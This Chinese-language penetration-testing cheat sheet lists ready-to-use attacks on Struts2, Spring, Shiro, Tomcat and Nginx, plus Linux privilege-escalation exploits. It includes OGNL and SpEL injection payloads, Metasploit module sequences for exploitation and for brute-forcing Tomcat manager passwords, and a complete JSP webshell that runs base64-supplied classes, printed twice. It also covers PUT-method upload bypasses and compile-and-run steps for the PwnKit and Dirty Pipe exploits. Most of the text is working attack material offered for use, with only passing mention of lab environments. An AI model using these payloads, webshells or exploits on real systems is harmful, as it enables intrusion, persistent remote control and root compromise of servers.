Struts2框架

S2-061(S2-062)命令执行 CVE-2020-17530

利用条件&作用

利用条件: Apache Struts 2.0.0 - 2.5.29

作用:命令执行

利用方法

传参处检测Payload

1
2

?id=%25%7b+%27test%27+%2b+(2021+%2b+20).toString()%7d

检测脚本

使用方法:python struts2-s2-061.py [url]

struts2-s2-061.zip

利用方法(Kali)

1
2
3
4
5
6
7
8
9
10
11
12
13
14

msfconsole

search struts

use exploit/multi/http/struts2_multi_eval_ognl

set RHOSTS IP

set SRVHOST IP

run

成功后输入shell即可执行命令

Spring框架

Spring Web Flow框架远程代码执行(CVE-2017-4971)

利用条件&作用

影响版本:Spring WebFlow 2.4.0 - 2.4.4

利用方法

漏洞复现-CVE-2017-4971-Spring Web Flow 远程代码执行

Spring Security OAuth2远程命令执行(CVE-2016-4977)

利用条件&作用

影响版本:2.0.0-2.0.9、1.0.0-1.0.5,有账号密码的前提下实现RCE。

作用:授权状态下远程命令执行

利用方法

[复现](https://www.freebuf.com/articles/web/275607.html#:~:text=X-Application-Context-,1,-、Spring Security OAuth2)

示例payload:

1
2

http://192.168.74.128:8080/oauth/authorize?response_type=${2*3}&client_id=acme&scope=openid&redirect_uri=http://test

页面最后回显[6]

shiro框架

shiro反序列化漏洞

利用条件&作用

shiro版本<=1.2.4(使用了默认秘钥)

作用: 直接RCE

利用方法

工具:https://github.com/SummerSec/ShiroAttack2/releases

image-20241216105916107

认证绕过漏洞

利用条件&作用

利用条件:Apache Shiro < 1.5.1

作用:绕过登录验证,直接访问后台

利用方法

相关文章: CVE-2020-1957 shiro权限绕过简单分析_0justin0的博客-CSDN博客

简述:当环境存在漏洞时。后台路径为/admin/,需要特定用户登录才可以访问,不然访问/admin/会跳转到登录页。访问url/xxx/..;/admin/,即可绕过权限认证进入后台。

Apache Tomcat

Tomcat 8(开启manager)

漏洞靶场环境

vulhub中的tomcat/tomcat8

利用条件&作用

条件:需要开启tomcat的manager管理页面。URL:http://xxx/manager/html

作用:生成木马

利用方法

  • 爆破出tomcat后台的账号密码

使用kali的msfconsole进行爆破tomcat后台密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

msfconsole



use auxiliary/scanner/http/tomcat_mgr_login



set RHOSTS <目标主机地址>



set RPORT <目标主机端口>



run
  • 制作一句话木马war包,先将下面代码的一句话木马重命名为shell.jsp,然后将shell.jsp压缩为shell.zip,再将shell.zip重命名为shell.war
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54

<%!

class U extends ClassLoader {

U(ClassLoader c) {

super(c);

}

public Class g(byte[] b) {

return super.defineClass(b, 0, b.length);

}

}



public byte[] base64Decode(String str) throws Exception {

try {

Class clazz = Class.forName("sun.misc.BASE64Decoder");

return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);

} catch (Exception e) {

Class clazz = Class.forName("java.util.Base64");

Object decoder = clazz.getMethod("getDecoder").invoke(null);

return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);

}

}

%>

<%

String cls = request.getParameter("password");

if (cls != null) {

new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);

}

%>
  • 在url/manager/html找到WAR file to deploy,将制作好的shell.war包上传,即可生成木马,然后访问url/shell/shell,jsp,使用蚁剑即可连接,密码password

CVE-2020-1938

漏洞靶场环境

vulhub | tomcat/CVE-2020-1938

利用条件&作用

条件

  • Apache Tomcat 9.x < 9.0.31
  • Apache Tomcat 8.x < 8.5.51
  • Apache Tomcat 7.x < 7.0.100
  • Apache Tomcat 6.x

需要开启8009端口AJP协议

作用

  • 文件读取
  • 如果提前上传了含一句话木马jsp脚本的txt文件,配合文件读取可以反弹SHELL,达到远程RCE

利用方法

  • 仅文件读取,使用kali的msfconsole,执行下面代码,即可读取主机内文件
1
2
3
4
5
6
7
8
9
10

msfconsole

use auxiliary/admin/http/tomcat_ghostcat

set RHOSTS <目标主机>

set FILENAME <主机内文件>

run

CVE-2017-12615

利用条件&作用

利用条件:配置文件/usr/local/tomcat/conf/web.xml,代码块的readonly要为false(非默认设置),导致可以使用PUT方法上传文件

1
2
3
4

<!-- readonly Is this context "read only", so HTTP -->

<init-param><param-name>readonly</param-name><param-value>false</param-value></init-param>

作用:直接上传木马文件GetShell

利用方法

一、PUT方法,文件名添加/绕过上传限制

抓取网页请求包,然后将方法修改为PUT,将路径改为shell.jsp/(注意要在后面加入/,来绕过上传限制),在POST数据位放入一句话木马。

发送数据包后响应状态码为201即为成功。路径为URL/shell.jsp。服务器内路径为/usr/local/tomcat/webapps/ROOT

image-20241216105931529

附:JSP一句话木马,密码password

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54

<%!

class U extends ClassLoader {

U(ClassLoader c) {

super(c);

}

public Class g(byte[] b) {

return super.defineClass(b, 0, b.length);

}

}



public byte[] base64Decode(String str) throws Exception {

try {

Class clazz = Class.forName("sun.misc.BASE64Decoder");

return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);

} catch (Exception e) {

Class clazz = Class.forName("java.util.Base64");

Object decoder = clazz.getMethod("getDecoder").invoke(null);

return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);

}

}

%>

<%

String cls = request.getParameter("password");

if (cls != null) {

new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);

}

%>

二、其他上传方法,适用于Windows

1
2
3
4

1.Windows下不允许文件以空格结尾以PUT /a001.jsp%20 HTTP/1.1上传到 Windows会被自动去掉末尾空格

2.Windows NTFS流Put/a001.jsp::$DATA HTTP/1.1

Nginx

解析配置错误

利用条件&作用

条件:php.ini中cgi.fix_pathinfo=1 ,在php-fpm.conf中security.limit_extensions= 为空时

作用:将图片文件当做PHP解析,可以直接Getshell

利用方法

在条件符合的情况下,上传带一句话木马的图片(或者其他?)文件,例如为url/a.jpg。

只需要url/a.jpg/.php就可以将图片文件当做php来解析

Linux提权

CVE-2021-4034

影响范围

centos/debian系验证

1
2
3
4

rpm -qa polkit

dpkg -l policykit-1

Debain stretch policykit-1 < 0.105-18+deb9u2
Debain buster policykit-1 < 0.105-25+deb10u1
Debain bookworm, bullseye policykit-1 < 0.105-31.1
Ubuntu 21.10 (Impish Indri) policykit-1 < 0.105-31ubuntu0.1
Ubuntu 21.04 (Hirsute Hippo) policykit-1 Ignored (reached end-of-life)
Ubuntu 20.04 LTS (Focal Fossa) policykit-1 < 0.105-26ubuntu1.2)
Ubuntu 18.04 LTS (Bionic Beaver) policykit-1 <0.105-20ubuntu0.18.04.6)
Ubuntu 16.04 ESM (Xenial Xerus) policykit-1 <0.105-14.1ubuntu0.5+esm1)
Ubuntu 14.04 ESM (Trusty Tahr) policykit-1 <0.105-4ubuntu3.14.04.6+esm1)
CentOS 6 polkit < polkit-0.96-11.el6_10.2
CentOS 7 polkit < polkit-0.112-26.el7_9.1
CentOS 8.0 polkit < polkit-0.115-13.el8_5.1
CentOS 8.2 polkit < polkit-0.115-11.el8_2.2
CentOS 8.4 polkit < polkit-0.115-11.el8_4.2

攻击流程

POC:下载
Github:(CVE-2021-4034)[https://github.com/arthepsy/CVE-2021-4034]

  • 先确定是否存在漏洞,将poc解压后的C文件,放到靶机内
  • 执行以下命令即可提权
1
2
3
4
5
6

gcc exp.c -o exp

./exp

id

CVE-2022-0847

影响范围

Linux Kernel版本 >= 5.8
Linux Kernel版本 < 5.16.11 / 5.15.25 / 5.10.102
Linux内核版本集合下载:
http://ftp.sjtu.edu.cn/sites/ftp.kernel.org/pub/linux/kernel/
https://www.kernel.org/
debian内核安装:https://blog.csdn.net/zhungcan/article/details/110956590

攻击流程

编译文件源码

  • 保存好编译文件源码
  • 解压后的文件扔到靶机
  • 执行gcc exp.c -o exp
  • ./exp /usr/bin/sudo 注:后面接上拥有SUID权限的文件

image-20241216105940883

CVE-2021-3493

影响范围

Ubuntu 20.10
Ubuntu 20.04 LTS
Ubuntu 18.04 LTS
Ubuntu 16.04 LTS
Ubuntu 14.04 ESM

攻击流程

CVE-2021-3493.zip

  • 保存好编译文件源码

  • 解压后的文件扔到靶机

  • 执行gcc exp.c -o exp

  • ./exp

    image-20241216105945391